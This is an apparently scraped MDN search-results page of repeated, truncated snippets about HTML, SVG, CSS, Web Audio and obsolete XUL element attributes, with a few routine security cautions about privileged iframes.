attribute to mean that the specified image is to be displayed until the user chooses to play the video. ie9 will only use the specified poster image in this way if preload="none" is set; otherwise, it will take the first still of the video and display that instead. three different video sources are provided for the player: mp4, webm, and ...
...tbyid('voldec'); var progress = document.getelementbyid('progress'); var progressbar = document.getelementbyid('progress-bar'); var fullscreen = document.getelementbyid('fs'); using these handles, events can now be attached to each of the custom control buttons making them interactive. ...
...And 14 more matches
<radialGradient> - SVG: Scalable Vector Graphics
the gradient will b...
...the gradient will be drawn such that the 0...
... <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg>
attributes cx this
attribute defines the x coordinate of the end circle of the radial gradient. value type: <length> ; default value: 50%; animatable: yes cy this
attribute defines the y coordinate of the end circle of the radial gradient. ...
...And 14 more matches
XML Templates - Archive of obsolete content
« previousnext » mozilla also supports the use of xml datasources. an xml document will be loaded and xpath expressions may be used to take portions of the xml document and generate content from these. when an xml source is desired, specify a querytype
attribute on the root node of the template to the value xml. this indicates to the template builder that an xml source is being used as that the queries use syntax that is specific to xml. the datasources
attribute should be set to the url of an xml document, either a local file or a remote web site. the ref
attribute isn't currently used for xml sources, as the root of the document is always the starting point for xml queries; you should just set the ref
attribute to a dummy value, for example '*' which is typically used. an exa...
...these are used to track the current state of the disclosure triangles. support for this was introduced in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4). ...
...these are used to track the current state of the disclosure triangles. support for this was introduced in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4). ...
...And 13 more matches
colorpicker - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a palette of colors from which a user may select by clicking on one of the grid cells.
attributes disabled, color, onchange, preference, tabindex, type properties accessibletype, color, disabled, open, tabindex, value examples <colorpicker/>
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. ...
...
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. do not set the
attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled
attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this
attribute out entirely. visible controls have a disabled property which...
...lement again, which is not the case. the disabled
attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this
attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the
attribute, as it may need to update additional state. color type: color string the currently selected color. this is modified when the user selects a color. you can assign a string of the form #rrggbb to this property to change the selected color. overview an onchange
attribute is an event listener to the object for the event change. a change event is fired in different ways for different ...
...And 13 more matches
dialog - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element should be used in place of the window element for dialog boxes. the buttons
attribute may be used to set which buttons should appear in the dialog box. these buttons will be placed in the correct locations for the user's platform. more information is available in the xul tutorial and dialogs and prompts (code snippets). ...
...[ examples |
attributes | properties | methods | related ] this element should be used in place of the window element for dialog boxes. the buttons
attribute may be used to set which buttons should appear in the dialog box. these buttons will be placed in the correct locations for the user's platform. more information is available in the xul tutorial and dialogs and prompts (code snippets). ...
...moreover this hides separator between titlebar and window contents. this only affects mac os x. buttonaccesskeyaccept type: string the access key to use for the "accept" button. buttonaccesskeycancel type: string the access key to use for the "cancel" but...
...And 13 more matches
key - Archive of obsolete content
to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" command="command id" .../>. ...
... to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" command="command id" .../>. ...
... to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" command="command id" .../>. ...
...And 13 more matches
label - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is used to provide a label for a control element. if the user clicks the label, it will move the focus to the associated control, specified with the control
attribute. more information is available in the xul tutorial.
attributes accesskey, control, crop, disabled, href, value properties accesskey, accessibletype, control, crop, disabled, value style classes header, indent, monospace, plain, small-margin, text-link examples <label value="email address" control="email"/> <textbox id="email"/>
attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in...
... accesskey, accessibletype, control, crop, disabled, value style classes header, indent, monospace, plain, small-margin, text-link examples <label value="email address" control="email"/> <textbox id="email"/>
attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label
attribute for the element. control type: id this
attribute specifies the id of the element with which the label is associated. when the user clicks on the label, the associated element is given focus. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attrib...
..., the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or the maxwidth
attribute) to override this size. for example, for a menuitem in a menu you can add the following css rule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if ...
...And 13 more matches
menupopup - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container used to display the contents of a popup menu. when a menupopup is open, it floats above the window and may extend outside the window border. there are several ways in which a menupopup may be used: it may be placed inside a menu, menulist, toolbarbutton, or a button with the type
attribute set to "menu" to create a popup that will open when the menu or button is pressed. it may be attached to any element using the popup
attribute. when the element is clicked with the left mouse button, the menupopup will be displayed. it may be attached to any element using the context
attribute. when a context menu is opened, the menupopup will be displayed. a context menu may be opened by right-cl...
...bute. when the element is clicked with the left mouse button, the menupopup will be displayed. it may be attached to any element using the context
attribute. when a context menu is opened, the menupopup will be displayed. a context menu may be opened by right-clicking the element, or by pressing the menu key on the keyboard. more information is available in the xul tutorial and popup guide.
attributes ignorekeys, left, onpopuphidden, onpopuphiding, onpopupshowing, onpopupshown, position, top properties accessibletype, anchornode, popupboxobject, position, state, triggernode methods hidepopup, moveto, openpopup, openpopupatscreen, setconsumerollupevent, showpopup, sizeto examples the following example shows how a menupopup may be attached to a menulist. <menulist> <menupopup> ...
...meat" value="http://freshmeat.net"/> </menupopup> </menulist> the following example shows how a menupopup can be used as a context menu for an element. when the label is right-clicked, the menu will be displayed. <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> <label value="right click for popup" context="clipmenu"/>
attributes ignorekeys type: boolean if true, keyboard navigation between items in the popup is disabled. left type: integer overrides the horizontal position of the popup specified by the showpopup method. onpopuphidden type: script code this event is sent to a popup after it has been hidden. this event may also be received while the popup is still open, but when sub-menus conta...
...And 13 more matches
richlistitem - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an individual item in a richlistbox.
attributes disabled, searchlabel, selected, tabindex, value properties accessible, control, disabled, label, selected, tabindex, value examples (example needed)
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. ...
...)
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. do not set the
attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled
attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this
attribute out entirely. visible controls have a disabled property which...
... searchlabel type: string text used for 'find-as-you-type' (fayt) searching. in situations where the search text is ambiguous or missing, searchlabel can be used to give context to fayt. if searchlabel is not present, fayt falls back to use the label property. ...
...And 13 more matches
timepicker - Archive of obsolete content
the value may be retrieved and changed using the value property or the datevalue property. the former specifies the time as a string of the form hh:mm:ss whereas the latter specifies the time as a date object. ...
...the value may be retrieved and changed using the value property or the datevalue property. the former specifies the time as a string of the form hh:mm:ss whereas the latter specifies the time as a date object. ...
...time is changed. however, as described in mozilla bug #799219, a change event handler may encounter erratic behavior when the time is changed using the keyboard instead of the mouse. to avoid this, you can use the workaround described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers. ...
...And 13 more matches
window - Archive of obsolete content
this allows you to have a different icon for each window. ...
...this allows you to have a different icon for each window. ...
...this allows you to have a different icon for each window. without including the css file at "chrome://global/skin/", the window will not be stylized and will be invisible and glitchy when opened as a dialog. ...
...And 13 more matches
nsIDocShell
defaults to true. setting this will make it take effect starting with...
...defaults to true. setting this will make it take effect starting with the next document l...
... void setcurrenturi(in nsiuri auri); void suspendrefreshuris(); void tabtotreeowner(in boolean forward, out boolean tookfocus);
attributes
attribute type description allowauth boolean certain dochshells (like the message pane) should not throw up auth dialogs because it can act as a password trojan. allowdnsprefetch boolean
attribute that determines whether dns prefetch is allowed for this subtree of the docshell tree. defaults to true. setting this will make it take effect starting with the next document loaded in the docshell. allowimages boolean
attribute stating whether or not images should be loaded. allowjavascript boolean whether to allow javascript execution. allowmedia boole...
...And 13 more matches
Trees and Templates - Archive of obsolete content
« previousnext » the following describes how to use a template with a tree. adding datasources to trees when using a tree, you will often use a template to build its content, to handle a large amount of hierarchial data. using a template with a tree uses very much the same syntax as with other elements. you need to add a datasources and a ref
attribute to the tree element, which specify the datasource and root node to display. multiple rules can be used to indicate different content for different types of data. the following example uses the history datasource: <tree datasources="rdf:history" ref="nc:historybydate" flags="dont-build-content"> as described in the previous section, the tree may use a tree builder for template generation instead of the normal content builde...
...ypes of data. the following example uses the history datasource: <tree datasources="rdf:history" ref="nc:historybydate" flags="dont-build-content"> as described in the previous section, the tree may use a tree builder for template generation instead of the normal content builder. this means that elements will not be created for every row in the tree, making it more efficient. the flags
attribute set to the value dont-build-content, as used in the example above, indicates that the tree builder should be used. if you leave the
attribute out, the content builder will be used. you can see the difference by using mozilla's dom inspector on a tree with and without the flag. if you do use a content builder instead, note that the content won't generally get built until it is needed. with hierarc...
...erence by using mozilla's dom inspector on a tree with and without the flag. if you do use a content builder instead, note that the content won't generally get built until it is needed. with hierarchical trees, the children don't get generated until the parent nodes have been opened by the user. in the template, there will be one treecell for each column in the tree. the cells should have a label
attribute to set the label for the cell. this would normally be set to an rdf property so that the label is pulled from the datasource. template-built tree example the following example demonstrates a template-built tree, in this case for the file system. example 1 : source <tree id="my-tree" flex="1" datasources="rdf:files" ref="nc:filesroot" flags="dont-build-content"> <treecols> <treecol id...
...And 12 more matches
arrowscrollbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a box which provides scroll arrows along its edges for scrolling through the contents of the box. the user only needs to hover the mouse over the arrows to scroll the box. this element is typically used for large popup menus. hovering the mouse over one of the (active) arrows triggers a scroll event. more information is available in the xul tutorial. ...
...s | properties | methods | related ] a box which provides scroll arrows along its edges for scrolling through the contents of the box. the user only needs to hover the mouse over the arrows to scroll the box. this element is typically used for large popup menus. hovering the mouse over one of the (active) arrows triggers a scroll event. more information is available in the xul tutorial. ...
...ls examples <arrowscrollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox>
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-...
...And 12 more matches
prefpane - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a single preference panel in a prefwindow. a prefpane is made up of two parts, the preferences descriptions, which specify the set of preferences that will be modified, and the user interface for adjusting those preferences. the former is specified using a preferences element while the latter may be specified using other xul elements. both may be specified directly as children of the prefpane element, or the src
attribute may be used to put a pane in a separate file. in this latter case, the separate file should use an overlay tag as its root tag since it will be loaded as an overlay to the main preferences window. ...
...y be specified using other xul elements. both may be specified directly as children of the prefpane element, or the src
attribute may be used to put a pane in a separate file. in this latter case, the separate file should use an overlay tag as its root tag since it will be loaded as an overlay to the main preferences window. more information is available in the preferences system article. ...
...ane id="panegeneral" label="general" src="chrome://path/to/paneoverlay.xul"/> or <prefpane id="panegeneral" label="general" onpaneload="ongeneralpaneload(event);"> <preferences> <preference id="pref_one" name="extensions.myextension.one" type="bool"/> ... more preferences ... </preferences> <checkbox label="number one?" preference="pref_one"/> ... more ui elements ... </prefpane>
attributes helpuri type: uri the uri of the help page associated with a preference panel. the uri will be opened using the help viewer when the help button is pressed. image type: uri the uri of the image to appear on the element. if this
attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient
attributes. lab...
...And 12 more matches
radiogroup - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a group of radio buttons. only one radio button inside the group can be selected at a time. the radio buttons may either direct children of the radiogroup or descendants. place the radiogroup inside a groupbox if you would like a border or caption for the group. the radiogroup defaults to vertical orientation. more information is available in the xul tutorial. ...
...erties | methods | related ] a group of radio buttons. only one radio button inside the group can be selected at a time. the radio buttons may either direct children of the radiogroup or descendants. place the radiogroup inside a groupbox if you would like a border or caption for the group. the radiogroup defaults to vertical orientation. more information is available in the xul tutorial. ...
...tabindex, value properties accessibletype, disabled, focuseditem, itemcount, selectedindex, selecteditem, tabindex, value methods appenditem, checkadjacentelement, getindexofitem, getitematindex, insertitemat, removeitemat examples <radiogroup> <radio id="orange" label="red"/> <radio id="violet" label="green" selected="true"/> <radio id="yellow" label="blue"/> </radiogroup>
attributes disabled type: boolean indicates whether the element is disabled or not. if this
attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be submitted. do not set the
attribute to...
...And 12 more matches
toolbar - Archive of obsolete content
note: gecko 2.0 adds support for external toolbars. these are toolbars that are not children of a toolbox element. you can associate an external toolbar with a toolbox for the purpose of managing your toolbars by setting the toolboxid property on the toolbar. ...
... note: gecko 2.0 adds support for external toolbars. these are toolbars that are not children of a toolbox element. you can associate an external toolbar with a toolbox for the purpose of managing your toolbars by setting the toolboxid property on the toolbar. ...
...lbarpalette and added to the toolbar when a toolbar is first displayed. in earlier versions, a copy of each item was created and placed on the toolbar. this means that the palette now only contains items not already in the toolbar. this introduces a potential compatibility problem for extensions that depend on being able to identify all possible toolbar items by looking in the toolbarpalette. ...
...And 12 more matches
Migrating from webkitAudioContext - Web APIs
distance model panner.distancemodel = "exponential"; // exponential distance model gain control moved to its own node type the web audio standard now controls all gain using the gainnode. instead of setting a gain property directly on an audio source, you connect the source to a gain node and then control the gain using that node's gain parameter. audiobuffersourcenode the gain
attribute of audiobuffersourcenode has been removed. the same functionality can be achieved by connecting the audiobuffersourcenode to a gain node. see the following example: // old webkitaudiocontext code: var src = context.createbuffersource(); src.buffer = somebuffer; src.gain.value = 0.5; src.connect(context.destination); src.noteon(0); // new standard audiocontext code: var src = context.createbuf...
... the same functionality can be achieved by connecting the audiobuffersourcenode that owns the buffer to a gain node. see the following example: // old webkitaudiocontext code: var src = context.createbuffersource(); src.buffer = somebuffer; src.buffer.gain = 0.5; src.connect(context.destination); src.noteon(0); // new standard audiocontext code: var src = conte...
...instead of having code like this: var source = context.createbuffersource(); source.looping = true; you can change it to respect the last version of the specification: var source = context.createbuffersource(); source.loop = true; note, the loopstart...
...And 12 more matches
Text labels and names - Accessibility
ebsite feature should be given a descriptive name or label to allow users of assistive technologies to understand what its purpose is and to be able to understand and operate it correctly. there are a number of different types of problems in this category, found in different contexts, and each has its own solution. the different problems and solutions are discussed in the sections below. use alt
attribute to label area elements that have the href
attribute in image maps, give each <area> element an alt
attribute containing a name that describes what resources the areas links to. failure to do so makes an image map hard to use for users of assistive technology — they need alternative text to be able to understand the purpose of an image. examples the following example show a simple image map (...
...ed for any container whose contents act as a dialog box (for example, a modal dialog asking the user to make a choice or respond to an action being taken), give it a descriptive label or name, so that assistive technology users can easily discover what its purpose is. a dialog box is generally denoted by an aria role="dialog" or role="alertdialog"; you can use the aria-label or aria-labelledby
attributes to provide a label. examples the following example shows a simple dialog box, defined as such using role="dialog" and labelled using aria-labelledby. <div role="dialog" aria-labelledby="dialog1title" aria-describedby="dialog1desc"> <h2 id="dialog1title">your personal details were successfully updated</h2> <p id="dialog1desc">you can change your details at any time in the user account sect...
...this includes the <embed> and <object> elements. these elements are often used for graphical content, much like the <img> element. a descriptive title helps users of assistive technology understand what the element is showing. figures with optional captions should be labeled for best accessibility, include a <figcaption> within a <figure> element, even thou...
...And 12 more matches
attr() - CSS: Cascading Style Sheets
note: the attr() function can be used with any css property, but support for properties other than content is experimental, and support for the type-or-unit parameter is sparse. the attr() css function is used to retrieve the value of an
attribute of the selected element and use it in the stylesheet. it can also be used on pseudo-elements, in which case the value of the
attribute on the pseudo-element's originating element is returned. /* simple usage */ attr(data-count); attr(title); /* with type */ attr(src url); attr(data-count number); attr(data-width px); /* with fallback */ attr(data-count number, 0); attr(src url, ""); attr(data-width px, inherit); attr(data-something, "default"); syntax values
attribute-name is the name of an
attribute on the html element referenced in the css. ...
...); attr(title); /* with type */ attr(src url); attr(data-count number); attr(data-width px); /* with fallback */ attr(data-count number, 0); attr(src url, ""); attr(data-width px, inherit); attr(data-something, "default"); syntax values
attribute-name is the name of an
attribute on the html element referenced in the css. <type-or-unit> is a keyword representing either the type of the
attribute's value, or its unit, as in html some
attributes have implicit units. ...
...ber, 0); attr(src url, ""); attr(data-width px, inherit); attr(data-something, "default"); syntax values
attribute-name is the name of an
attribute on the html element referenced in the css. <type-or-unit> is a keyword representing either the type of the
attribute's value, or its unit, as in html some
attributes have implicit units. if the use of <type-or-unit> as a value for the given
attribute is invalid, the attr() expression will be invalid too. if omitted, it defaults to string. the list of valid values are: keyword associated type comment default value string <string> the
attribute value is treated as a css <string>. it is not reparsed, and in particular the characters are used as-is instead of css escapes being turned into differe...
...And 12 more matches
Event reference
an play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content. canplaythrough the browser estimates it can play the media up to its end without stopping for content buffering. complete the rendering of an offlineaudiocontext is terminated. durationchange the duration
attribute has been updated. emptied the media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it. ended playback has stopped because the end of the media was reached. loadeddata the first frame of the media has finished loading. loadedmetadata the metadata ...
...layed due to lack of data. ratechange the playback rate has changed. seeked a seek operation completed. seeking a seek operation began. stalled the user agent is trying to fetch media data, but data is unexpectedly not forthcoming. suspend media data loading has been suspended. timeupdate the time indicated by the currenttime
attribute has been updated. volumechange the volume has changed. waiting playback has stopped because of a temporary lack of data. progress events event name fired when abort progression has been terminated (not due to an error). error progression has failed. load progression has been successful. loadend pr...
...ard-insert smartcard-remove stkcommand stksessionend cardstatechange sms and ussd events delivered received sent ussdreceived frame events mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserlocationchange mozbrowserloadend mozbrowserloadstart mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange dom mutation events dom
attributenamechanged domattrmodified domcharacterdatamodified domcontentloaded domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified touch events touchcancel touchend touchmove touchstart pointer events pointerover pointerenter pointerdown pointermove pointerup pointercancel pointerout pointerleave gotpointercapture lostpointercap...
...And 12 more matches
Cross-browser audio basics - Developer guides
this article provides: a basic guide to creating a cross-browser html5 audio player with all the associated
attributes, properties, and events explained a guide to custom controls created using the media api basic audio example the code below is an example of a basic audio implementation using html5: <audio controls> <source src="audiofile.mp3" type="audio/mpeg"> <source src="audiofile.ogg" type="audio/ogg"> <!-- fallback for non supporting browsers goes here --> <p>your browser does not support html5 audio, but you can still <a href="audiofile.mp3">download the music</a>.</p> </audio> note: you can also use an mp4 file instead of mp3. mp4 files typically contain aac encoded audio. you can use type="audio/mp4". (currently, browsers that support mp3 also support mp4 ...
... (currently, browsers that support mp3 also support mp4 audio). here we define an <audio> element with multiple sources — we do this as not all browsers support the same audio formats. to ensure reasonable coverage, we should specify at least two different formats. the two formats that will give maximum coverage are mp3 and ogg vorbis. we do this using the <source> element, which takes the
attributes src and type. src contains the path to the audio file to be loaded (relative or absolute). type is used to inform the browser of the file type. if omitted, most browsers will attempt to guess this from the file extension. if the <audio> element is not supported then <audio> and <source> will be ignored. however any supported text or elements that you define within <audio> will be...
... the <audio> element is not supported then <audio> and <source> will be ignored. however any supported text or elements that you define within <audio> will be displayed or acted upon. so the ideal place to create a fallback or inform of incompatibility is before the closing </audio> tag. in this case, we've provided a simple paragraph including a link to download the audio directly. the controls
attribute on the <audio> element is specified when we require the browser to provide us with default playback controls. if you don't specify this
attribute, no controls will appear — and you will instead have to create your own controls and program their functionality using the media api (see below). however, that can be a good approach, because the default controls look different among various browsers.
...And 12 more matches
<colgroup> - HTML: Hypertext Markup Language
the html <colgroup> element defines a group of columns within a table. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content if the span
attribute is present: none, it is an empty element. if the
attribute is not present: zero or more <col> element tag omission the start tag may be omitted, if it has a <col> element as its first child and if it is not preceded by a <colgroup> whose end tag has been omitted. the end tag may be omitted, if it is not followed by a space or a comment. permitted parents a <table> element. the <colgro...
...g may be omitted, if it is not followed by a space or a comment. permitted parents a <table> element. the <colgroup> must appear after any optional <caption> element but before any <thead>, <th>, <tbody>, <tfoot> and <tr> element. ...
...not followed by a space or a comment. permitted parents a <table> element. the <colgroup> must appear after any optional <caption> element but before any <thead>, <th>, <tbody>, <tfoot> and <tr> element. ...
...And 12 more matches
<use> - SVG: Scalable Vector Graphics
the svg document, and duplicates them somewhere else. html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <circle id="mycircle" cx="5" cy="5" r="4" stroke="blue"/> <use href="#mycircle" x="10" fill="blue"/> <use href="#mycircle" x="20" fill="white" stroke="red"/> <!-- stroke="red" will be ignored here, as stroke was already set on mycircle. ...
...ready set on mycircle. most
attributes (except for x, y, width, height and (xlink:)href) do not override those set in the ancestor. that's why the circles have different x positions, but the same stroke value. --> </svg> the effect is the same as if the nodes were deeply cloned into a non-exposed dom, then pasted where the use element is, much like cloned template elements in html5. most
attributes on use do not override those already on the element referenced by use. (this differs from how css style
attributes override those set 'earlier' in the cascade). only the
attributes x, y, width, height and href on the use element will override those set on the referenced element. however, any other
attributes not set on the referenced element will be applied to the use element. since the clone...
...e element. since the cloned nodes are not exposed, care must be taken when using css to style a use element and its cloned descendants. css properties are not guaranteed to be inherited by the cloned dom unless you explicitly request them using css inheritance. for security reasons, browsers may apply the same-origin policy on use elements and may refuse to load a cross-origin url in the href
attribute. ...
...And 12 more matches
Creating a Help Content Pack - Archive of obsolete content
terms with corresponding urls to the term definition. creating a content pack the content pack descriptor file as mentioned earlier, the content pack descriptor file is written using rdf. if you don't know rdf, that's okay - for our purposes, you won't need to learn very much. if you understand the basics of html or (preferably) xml, you'll understand the very basics of the syntax - elements,
attributes, and element contents. understanding the syntax is important because small syntax errors can mean that a whole file won't be loaded correctly. however, while it may seem like this is a disadvantage, it's actually an advantage - if you make an error you'll know immediately, and you should be able to easily figure out what the problem is by directly loading the file in firefox. later, when we get ...
... the whole document. it serves as a wrapper around the entire contents of the file, marking it as rdf. next, you'll need to insert a rdf:description element into the file, inside the rdf:rdf element just created: <rdf:description rdf:about="urn:root" nc:title="" nc:defaulttopic="" nc:base=""> </rdf:description> fill in the
attributes as follows: rdf:about must be urn:root or your pack won't work. this
attribute marks the start point in the rdf graph described by the file, and the help viewer searches for this element in order to query for further information (stored in child elements) about the content pack being parsed. nc:title is where you specify the title (e.g., "mozilla firefox help") for the help window. this attr...
...the help viewer searches for this element in order to query for further information (stored in child elements) about the content pack being parsed. nc:title is where you specify the title (e.g., "mozilla firefox help") for the help window. this
attribute is required. nc:defaulttopic will hold the rdf:id of the topic you want displayed when the viewer first loads if none has been specified. this
attribute also specifies what topic is loaded when the user hits the home button in the viewer. we'll get to exactly how to fill in this
attribute later. this
attribute is optional, with fallback to the value welcome. nc:base contains the base url relative to which the help content referenced in the descriptor file is located. for example, if your glossary, index, and table of contents rdf files are all l...
...And 11 more matches
browser - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a xul <browser> element represents a frame which is expected to contain a view of a web document. it is similar to an iframe except that it holds a page history and contains additional methods to manipulate the currently displayed page. are you here looking for information about the firefox web browser, or because you'd like to download the latest version of firefox? get firefox most of the properties and methods of the browser will rarely be used and can only be called from chrome urls. other urls will need to use the document and history objects to change the displayed document.
attributes autocompleteenabled, autocompletepopup, autoscroll, disablehistory, disableglobalhistory, disablesec...
...d, webnavigation, webprogress methods addprogresslistener, goback, goforward, gohome, gotoindex, loaduri, loaduriwithflags, reload, reloadwithflags, removeprogresslistener, stop, swapdocshells examples <!-- shows mozilla homepage inside a groupbox --> <groupbox flex="1"> <caption label="mozilla homepage"/> <browser type="content" src="http://www.mozilla.org" flex="1"/> </groupbox>
attributes autocompleteenabled type: boolean set to true to enable autocomplete of fields. autocompletepopup type: id the id of a popup element used to hold autocomplete results for the element. autoscroll type: boolean set to false to disable autoscroll for this browser. if this
attribute is set to true or omitted, autoscroll will be enabled or depending on th...
...omitted, autoscroll will be enabled or depending on the user preference general.autoscroll. disablehistory type: boolean disables both session and global history for the docshell attached to the browser. disableglobalhistory type: boolean disables global history for the docshell attached to the browser while keeping session history active. disablesecurity type: boolean set this
attribute to true to disable the security ui for this browser. omit this
attribute off to enable it. droppedlinkhandler type: function this function is called when links are dropped to the browser element, with the following arguments. droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no even...
...And 11 more matches
iframe - Archive of obsolete content
this content is a separate document. the children of the iframe are ignored. currently, xul iframes running in remote processes are not supported. if you want to run content in a remote process, use a xul browser element. warning: when used in chrome-privileged documents (either html or xul) such as firefox addons, the contents of the frame may have the same permissions as firefox itself. this can be a serious security vulnerability, for example if you use src="http://...". ...
...n used in chrome-privileged documents (either html or xul) such as firefox addons, the contents of the frame may have the same permissions as firefox itself. this can be a serious security vulnerability, for example if you use src="http://...". when used in this case, please see displaying web content in an extension without security issues. more information is available in the xul tutorial. ...
...default is false. src type: uri the uri of the content to appear in the element. type type: one of the values below. the type of browser, which can be used to set access of the document loaded inside the browser. if th...
...And 11 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
code --> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> </object> in the above example, the classid
attribute that goes along with the object element points to a "clsid:" urn followed by the unique identifier of an activex control (in the above example, the string beginning with "d27..."). this is, in fact, the unique identifier of macromedia's flash plugin, and developers are expected to know such unique identifiers in order to invoke the component of their choice. the codebase
attribute used above poin...
...n activex control (in the above example, the string beginning with "d27..."). this is, in fact, the unique identifier of macromedia's flash plugin, and developers are expected to know such unique identifiers in order to invoke the component of their choice. the codebase
attribute used above points to a location that houses the cab file containing the activex control. in this context, the codebase
attribute is used as an obtainment mechanism -- that is to say, a way to obtain a control if it isn't present. if the flash activex control is not installed, ie will then go to the url referenced by the codebase
attribute and retrieve the activex control. additional param elements (which are "children" of the above object element) specify configuration parameters for the flash plugin. for instance, the par...
...h.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <p>you need flash -- get the latest version from <a href= "http://www.macromedia.com/downloads/">here.</a></p> </object> in the above example, application/x-shockwave-flash is the flash mime type, and will invoke the netscape-specific flash architecture in mozilla-based browsers. the data
attribute points to the swf file to play, and the configuration parameters (the param elements) are used in a consistent manner both for ie and for mozilla-based browsers such as netscape 7. in fact, the above usage will also work for ie, which understands mime type invocations for certain mime types such as flashin addition to activex-style classid invocations. since the use of mime type for flash will w...
...And 11 more matches
CustomizableUI.jsm
(generally, that is when a <toolbar customizable="true"/> node is appended to the document and isn't invisible), the binding will call into customizableui and register the toolbar's node as being one of the concrete instances of its area. for each area, customizableui keeps track of a list of the widgets they contain, generally refered to as 'placements'. this is analogous to the old currentset
attribute. if consumers make a change to the placements in an area, customizableui will update the actual nodes in each area instance for them. toolbars generally function the same way they always have. however, they can now be 'overflowable', that is, if there are too many widgets to fit in the toolbar's horizontal space, the excess widgets will be placed in a panel accessible from an anchor (chevron) in...
...s the properties of the area. the following properties are recognized: property description type the type of area. either type_toolbar (default) or type_menu_panel. anchor for a menu panel or overflowable toolbar, the anchoring node for the panel. legacy set to true if you want customizableui to automatically migrate the currentset
attribute. overflowable set to true if your toolbar is overflowable. this requires an anchor, and only has an effect for toolbars. defaultplacements an array of widget ids making up the default contents of the area. defaultcollapsed (internal only) only applied to type_toolbar areas. set to true if the toolbar should be collapsed by default. defaults to true.
